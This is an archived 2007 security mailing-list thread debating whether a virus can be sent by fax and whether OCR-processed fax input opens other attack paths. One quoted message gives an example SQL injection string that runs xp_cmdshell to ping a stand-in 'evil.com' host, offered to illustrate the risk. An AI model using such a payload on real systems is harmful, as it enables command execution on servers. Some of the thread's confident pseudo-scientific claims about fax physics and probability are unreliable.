RE: FUD - was FAX a virus

[Bob Radvanovsky <rsradvan () unixworks net>]

See comments below...

-rad

----- Original Message -----
From: Craig Wright [mailto:cwright () bdosyd com au]
To: Robert Wesley McGrew [mailto:wesley () mcgrewsecurity com], security-basics () securityfocus com
Subject: RE: FUD - was FAX a virus

> I am not directing my responses at a particular person, but to everyone. FUD
> is bad, please think first.

I wanted to clarify what "FUD" was, since some people might not understand it's meaning.

FUD = Fear, Uncertainty, and Doubt (ref: http://en.wikipedia.org/wiki/Fear%2C_uncertainty_and_doubt).

In my humble opinion (IMHO), introduction of FUD into any given scenario can signify several factors: (1) the 
individual is "bluffing" their circumstance, case or objective, (2) has no idea of the subject matter being 
communicated, or (3) is utilizing their circumstance as a method of either: (3a) "stonewalling" or stalling for a given 
timeframe, or at which timeframe it becomes necessary to proceed forward, whatever may be the situation (aka "a stall 
tactic"); and/or (3b) perverting the situation (based upon the circumstancial information given) in causing the 
opposing faction(s) to present their evidence.

With regards to the discussion that has been ensuing over the past several days, I agree with Dr. Wright in that the 
evidence suggests that textual information lacks any relevance towards implicating a virus transmitted, unless 
otherwise transformed into, via, or through a binary conversion (the term "binary conversion" is representative of 
non-binary code, data or information converted into a binary format, usually through a binary conversion process, such 
as a data compression utility, or compilation utility).  If the implications were to indicate that a virus *were* to 
exist, this would be (more than likely) indicative of the binary process associative to the textual data; meaning, 
either the compiler, or utility that the text is associated to or "bound to" contains a viral fragment (or even a virus 
in its entirety), or was bound to an application through such a binary conversion process such that the textual data is 
now associated and interlaced with viral code.

The relevance is that it would be improbable, if not impossible, to associate that textual data can transmit a virus or 
any form of malicious code whatsoever, unless it has undergone a binary transformation or conversion process.

> ...
>
> Scientifically, I should not have to disprove an event. You have to prove it
> is possible. I will even allow you to do this at a low alpha (say 20% rather
> than a standard 5%) . Please formula an experiment that demonstrate a slight
> possibility of the event. Remember, scientifically, you have to prove the
> hypothesis, I do not need to disprove yours (although I can more than likely
> proabilistically  do this in this rare situation).

Uh, legally, too.  In a court of law within the U.S., it's not that you have to *disprove* your case or circumstance; 
but rather, that the opposing party must *prove* it...(of course) within reason.  If the courts deem a case or 
circumstance to be defined as "unreasonable", then that evidentiary material would be dismissed from a given case.  In 
this circusmtance, this would (more than like) be the situation.

> Regards,
> Craig
>
> ________________________________
>
> From: wesleymcgrew () gmail com on behalf of Robert Wesley McGrew
> Sent: Sat 3/03/2007 8:49 AM
> To: security-basics () securityfocus com
> Cc: Craig Wright
> Subject: Re: FUD - was FAX a virus
>
>
>
> I'm not sure if I'm the one this is directed to or not, but I will
> respond.  I understand how a fax works, and I agree that a "faxing a
> virus" in the context of the original question is not possible.  To
> clear things up, I agree with you on that.
>
> However, I do think there are other avenues of attack one should look
> at in a system where incoming faxes are treated as input data, and
> that is what my intention was with my previous email.
>
> Once that document has gone through the
> analog-scan-to-digitization-thru-transmission-noise-and-back-out-the-other-end
> procedure, what you wind up with, as you explained very well, is a
> digital representation of what the document "looked" like.  It's all a
> bitmapped image at this point and as long as the purpose is for
> someone to read over it, human eyes and printers and such, then that's
> how it'll likely stay.
>
> That said, there's the temptation at this point to want to convert
> this back to machine-parse-able data.  Say, for example, we're
> accepting faxed requests for service manuals.  Lots of folks are
> sending us faxes of a form that we have them fill out, specifying part
> #, name, whether they want it mailed or faxed back, etc.  OCR
> software's pretty good, and we've got an especially good situation for
> it when we have some expectation of what we're getting is supposed to
> look like (form with nicely laid out fields, "please print clearly",
> maybe even tick marks to separate characters).  The faxing process
> mangles our document a bit, but nothing a well tweaked OCR solution
> couldn't deal with.
>
> So, at this point, we could happily process these incoming faxes with
> some degree of automation, reading the part numbers, faxing back
> manuals or putting orders into a database to be fulfilled.  Let's see
> where the next one wants to be shipped to: "hax'; exec xp_cmdshell
> 'ping+lol.evil.com'"... (or whatever sort of injection you want to
> perform.  Maybe someone views the data in a html-rendering environment
> and you want to web bug or cross-site-script them.)
>
> I know this is way out of scope of the original question, but I'd hate
> for someone else to look at a thread like this and make the leap from
> "oh ok a fax virus in this case isn't going to work because it'd get
> all munged up" to "attack vectors over fax just won't work because of
> this analog-digital-analog-digital voodoo".  I don't think that the
> situation I've described is unrealistic or too contrived, and I
> certainly don't think that recommending that someone pay attention to
> how data coming in like this is processed is FUD.
>
> You are 100% spot-on about a virus somehow working its way through the
> transmission, however, and I do think this thread had a serious need
> for a easy-to-understand description of how a fax actually works like
> you have given
>
> --
> Robert Wesley McGrew
> http://mcgrewsecurity.com
>
> On 3/2/07, Craig Wright <cwright () bdosyd com au> wrote:
> > Hello,
> >
> > The idea of faxing a virus is ludicrous and this demonstrates the FUD in
> the industry. I have to state that I am amazed that people here are even
> considering this seriously! In other words, that people are willing to
> comment on a technology with no idea how it works without even taking the
> time to check the facts.
> > This is one of the systemic faults within the security industry at the
> moment.
> > The initial question was Ok. It demonstrates that the person wanted to
> learn. The responses demonstrate that people are willing to open their mouth
> without first checking the facts. This is a bad thing - please understand
> this.
> > A Facsimile is an analogue device - it does not send digital information
> and it can not even send the same information twice. Not EVER! More on this
> later.
> > Some history seeing as a lesson seems to be needed. (Responding without
> checking facts - bah - as you can see this is a pet hate, people in security
> need to take the time to LEARN the truth and not make FUD).
> > History of the Fax. (A very condensed version)
> >
> > Alexander Bain (1818-1903)
> >
> > In 1843 invented a precursor that used two pens connected by an electrical
> wire to send information.
> > In 1862 (correct me if this date is wrong) Giovanni Caselli made the first
> pantelegraph to electronically send photos.
> > ? On date, but about 1880. Elisha Gray (founder of the Western Electric
> Company) patented a simple (though it took a room to hold and oft caught on
> fire) a facsimile transmission system.
> > Arthur Korn (1870-1945) sent the first inter-city fax in 1907 using a
> "telephotographer" to send photos from Munich to Berlin.
> > And so it goes till Xerox got into the picture in 1964 with Long Distance
> Xerography (LDX) and shortly after with the Magnafax Telecopier (weighing
> only 46-pound) in 1966. This was where we have what is essentially a
> "modern" facsimile machine.
> > How does a Fax machine work? (First faxes in general than computers)
> >
> > A fax is a scan of a block of the image to be sent. The scan is analogue
> in that the intensity of the tone is converted to a digital signal. This
> scan is impacted by ambient temperature, lighting conditions and many other
> factors - although none of these will make any difference that the human eye
> can note.
> > This signal is sent as an electronic wave function. Again, analogue and
> not digital. It is converted (taking phone line faxes and excluding radio
> fax in this case) as a signal similar to a modem communication that is
> transmitted to a sound wave if you listen to this on a phone.
> > Line conditions always impact the transmission. A white noise function
> creates variations in the wave form that reflects the error rate on the
> page.
> > In a computer fax card or program, this is interpreted and converted to
> make the digital image. The image varies each and ever time that a fax is
> send and it is not possible for the sender to control all conditions to
> ensure that any stream of information comes out the same.
> > If you do not believe this statement I have to have you read up on Quantum
> cromodynamics, and Quantum wave physics and Uncertainty. (This is a topic
> best off list for any of you who want to chat more on a very interesting
> subject).
> > Basically, this is a probabilistic function. If for a SPECIFIC card in a
> SPECIFIC computer a SPECIFIC set of code could be send to that machine that
> could case some unknown fault (let alone a virus), the sender needs also to
> be able to control the line between the receive and him/herself.
> > Probabilistically we are talking a 1 in 10^34 or larger chance of being
> able to control all these conditions EVEN if there was a specific piece of
> code (which has never been shown to exist or even be feasible) of
> controlling all the required conditions. There is a larger probability that
> all the electrons and quarks in both your body and those of the wall will
> somehow align just as you walk into the wall - allowing you to pass through
> it as it the wall was not there.
> > So to reiterate (to the tune of Monty Python's SPAM).
> >
> > FUD, FUD, FUDity FUD....
> >
> > Now, to the real issue. (Yes time to get on my soapbox AGAIN).
> >
> > Security "professionals" do not make FUD. Security "professionals" do not
> propagate FUD. Security "professionals" check the facts BEFORE going off
> half cocked with a story that is about as likely as an alien abductions.
> Please check the facts before damaging the industry as a whole.
> > I do say industry as a whole for this. Each time we state something that
> is not scientific and has no basis in fact designed to make other percieve
> an exagerated sense of risk associated with a theretical conditiuon, we make
> FUD. In doing this, we lower the standing of all "security professionals."
> > To even state - "the threat is extraordinarily low" is an exageration. If
> all worlds possible in all galaxies in the known universe all have all their
> people sending faxes for all the life of the universe, than the chance of
> sending information in the manner suggested is still approximately zero.
> This is even with modern error correction techniques.
> > So to even make this an issue is FUD. Risk first needs a threat, a threat
> needs an impact and a probabilistic likelihood. If these are all close to
> zero, than the risk is zero.
> > Facts first - facts second and than make the decision based on reality.
> FUD and an exageration of  risk is one of the greatest evils  today. Please
> do not jump on this bandwagon!
> > Please let's start acting like Security "professionals".
> >
> > Regards,
> >
> > Craig S Wright
> >
> >
> >
> > PS FUD = bad - please remember, FUD = bad...
> >
> >
> > Liability limited by a scheme approved under Professional Standards
> Legislation in respect of matters arising within those States and
> Territories of Australia where such legislation exists.
> > DISCLAIMER
> > The information contained in this email and any attachments is
> confidential. If you are not the intended recipient, you must not use or
> disclose the information. If you have received this email in error, please
> inform us promptly by reply email or by telephoning +61 2 9286 5555. Please
> delete the email and destroy any printed copy.
> > Any views expressed in this message are those of the individual sender.
> You may not rely on this message as advice unless it has been electronically
> signed by a Partner of BDO or it is subsequently confirmed by letter or fax
> signed by a Partner of BDO.
> > BDO accepts no liability for any damage caused by this email or its
> attachments due to viruses, interference, interception, corruption or
> unauthorised access.
> >
>
>
>
> Liability limited by a scheme approved under Professional Standards
> Legislation in respect of matters arising within those States and
> Territories of Australia where such legislation exists.
>
> DISCLAIMER
> The information contained in this email and any attachments is confidential.
> If you are not the intended recipient, you must not use or disclose the
> information. If you have received this email in error, please inform us
> promptly by reply email or by telephoning +61 2 9286 5555. Please delete the
> email and destroy any printed copy. 

> Any views expressed in this message are those of the individual sender. You
> may not rely on this message as advice unless it has been electronically
> signed by a Partner of BDO or it is subsequently confirmed by letter or fax
> signed by a Partner of BDO.
>
> BDO accepts no liability for any damage caused by this email or its
> attachments due to viruses, interference, interception, corruption or
> unauthorised access.